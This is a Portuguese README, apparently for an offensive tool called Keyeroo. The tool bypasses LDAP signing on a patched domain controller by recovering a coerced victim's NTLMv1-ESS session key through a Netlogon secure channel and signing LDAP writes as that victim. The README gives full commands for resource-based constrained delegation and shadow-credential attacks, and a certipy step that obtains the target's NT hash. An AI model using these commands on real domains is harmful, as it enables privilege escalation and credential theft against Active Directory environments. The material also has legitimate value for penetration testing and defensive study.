Keyeroo

Encaminhe a autenticação NTLM de uma vítima coagida para o LDAP e execute uma operação como essa vítima, mesmo quando o controlador de domínio exige assinatura LDAP e está totalmente corrigido.

Se um DC exige assinatura LDAP, não podemos encaminhar NTLM para o LDAP porque não conhecemos a chave de sessão da vítima, que é a chave de assinatura para cada mensagem LDAP após o bind. O Switcheroo contornou isso empilhando o bind e a operação em um único buffer assinado com nossa própria chave de sessão, mas a atualização de outubro de 2026 corrigiu isso. O Keyeroo segue um caminho diferente. Em vez de contornar a chave de sessão que não temos, nós recuperamos a chave de sessão real da vítima usando credenciais de conta de máquina por um canal seguro Netlogon, depois derivamos sua chave de assinatura e assinamos a operação como a vítima faria.

Contexto

A ferramenta LDAP Switcheroo e seu artigo, Signed, Sealed, and Relayed, NTLM-style: Bypassing LDAP Signing Through Reauthentication, cobrem o bypass original da assinatura LDAP e sua causa raiz. O Keyeroo é o sucessor para o caso que o Switcheroo não trata mais após o patch de outubro de 2026.

Como funciona

A ideia é fazer o DC recuperar a chave de sessão do usuário para nós.

Quando a vítima se autentica em nós via SMB, enviamos de volta um CHALLENGE com o TargetInfo removido. Uma vítima compatível com NTLMv1 responde com um AUTHENTICATE NTLMv1-ESS (24 bytes) em vez de NTLMv2.
Pegamos esse AUTHENTICATE e o validamos por meio de uma conta de máquina que controlamos, sobre seu canal seguro Netlogon (NetrLogonSamLogonWithFlags). O DC o valida para nós e retorna a chave base da vítima. A partir daí derivamos a chave de troca de chaves NTLMv1-ESS e descriptografamos a chave de sessão exportada da vítima.
Agora temos a chave de sessão da vítima, e a chave de assinatura LDAP é derivada dela. Concluímos o bind LDAP da vítima, re-chaveamos a conexão com a chave de sessão recuperada e enviamos nossa operação (RBCD por padrão) em seu próprio registro SASL assinado com a chave de assinatura da vítima. A assinatura é da vítima, então o DC a aceita mesmo com assinatura exigida.

O resultado é uma escrita LDAP como a conta coagida, seja RBCD, shadow credentials, ou qualquer atributo, sem precisar de quaisquer credenciais LDAP nossas. O Keyeroo é um wrapper em torno do ntlmrelayx.py do Impacket e o inicia para você.

O problema é que isso só funciona se a vítima enviar NTLMv1-ESS, o que significa LmCompatibilityLevel 2 ou inferior, ou uma pilha mais antiga. O Windows moderno usa NTLMv2 por padrão, e o Windows 11 e o Server 2025 removem o NTLMv1 completamente, então este é um caminho legado. Onde esse legado ainda existe, ele passa pela assinatura LDAP em um DC corrigido.

Requisitos

Uma conta de máquina controlada pelo atacante cuja senha ou hash NT você conhece, para o canal seguro Netlogon (-oracle-machine). Sob o MachineAccountQuota padrão, qualquer usuário de domínio pode criar uma.
Uma vítima que emita NTLMv1-ESS — ou seja, LmCompatibilityLevel <= 2 ou uma origem legada. Por padrão, o Windows moderno emite NTLMv2 (e o Windows 11 / Server 2025 removem o NTLMv1 completamente), então este é um caminho dependente de legado.
A vítima coagida a se autenticar em -listen-ip via SMB, e autorizada a escrever o objeto alvo (por exemplo, seu próprio atributo RBCD).

Uso

sudo PYTHONPATH=/path/to/impacket python3 keyeroo.py \
    '<DC.fqdn>' \
    -dc-ip <DC_IP> \
    -base-dn 'DC=example,DC=com' \
    -domain 'example.com' \
    -oracle-machine 'ATTACKERPC$' -oracle-password 'MachinePassw0rd!' \
    -listen-ip <ATTACKER_IP> \
    -victim 'EXAMPLE/VICTIM$' \
    -modify-dn 'CN=VICTIM,CN=Computers,DC=example,DC=com' \
    -rbcd-sid '<ATTACKER_COMPUTER_SID>' \
    -ntlmrelayx /path/to/impacket/examples/ntlmrelayx.py

Em seguida, force a vítima para -listen-ip a partir de outro terminal.

A conexão LDAP inicial é anônima, a menos que você prefixe o alvo com domain/user[:password]@ (nesse caso, é autenticada e a verificação de leitura é executada).
Credenciais do Oracle: -oracle-password <pw> ou -oracle-hashes [LM]:NT.
-oracle-dc-ip seleciona o DC para o canal seguro do Netlogon (o padrão é -dc-ip).
Payload: -rbcd-sid <SID> (RBCD), -shadow-credentials (Key Credential) ou -value/-value-hex com -attribute.

Shadow Credentials (`-shadow-credentials`)

Anexa uma Key Credential ao msDS-KeyCredentialLink do alvo (LDAP add, portanto as chaves existentes sobrevivem) e grava um PFX que você pode trocar por um TGT com PKINIT:

sudo PYTHONPATH=... python3 keyeroo.py '<DC.fqdn>' \
    -dc-ip <DC_IP> -base-dn 'DC=example,DC=com' -domain 'example.com' \
    -oracle-machine 'ATTACKERPC$' -oracle-password 'MachinePassw0rd!' \
    -listen-ip <ATTACKER_IP> -victim 'EXAMPLE/VICTIM$' \
    -modify-dn 'CN=TARGET,CN=Computers,DC=example,DC=com' \
    -shadow-credentials -pfx-out /tmp/sc -pfx-pass keyeroo \
    -ntlmrelayx /path/to/impacket/examples/ntlmrelayx.py

Em seguida, recupere o hash NT do alvo (requer PKINIT da floresta, ou seja, um certificado de CA corporativa / KDC):

certipy-ad auth -pfx /tmp/sc.pfx -password keyeroo -dc-ip <DC_IP> \
    -domain example.com -username 'TARGET$'

Requisitos específicos deste modo: a vítima deve estar autorizada a escrever msDS-KeyCredentialLink em -modify-dn (a autoescrita funciona quando a vítima pode editar o seu próprio objeto), e a floresta deve suportar PKINIT. Limpe depois, por exemplo certipy-ad shadow clear -u <admin>@<domain> -account 'TARGET$'.

Relação com o Switcheroo

O Switcheroo empilha o Bind da vítima e a operação num único registo assinado com a chave de sessão do atacante (corrigida pelo patch LDAP de outubro de 2026). O Keyeroo, em vez disso, recupera a chave de sessão da vítima, pelo que a operação é um pedido assinado normal como a vítima — o que continua a ser eficaz contra o DC corrigido e que exige assinatura (desde que a vítima suporte NTLMv1-ESS).

Mais Populares

keyeroo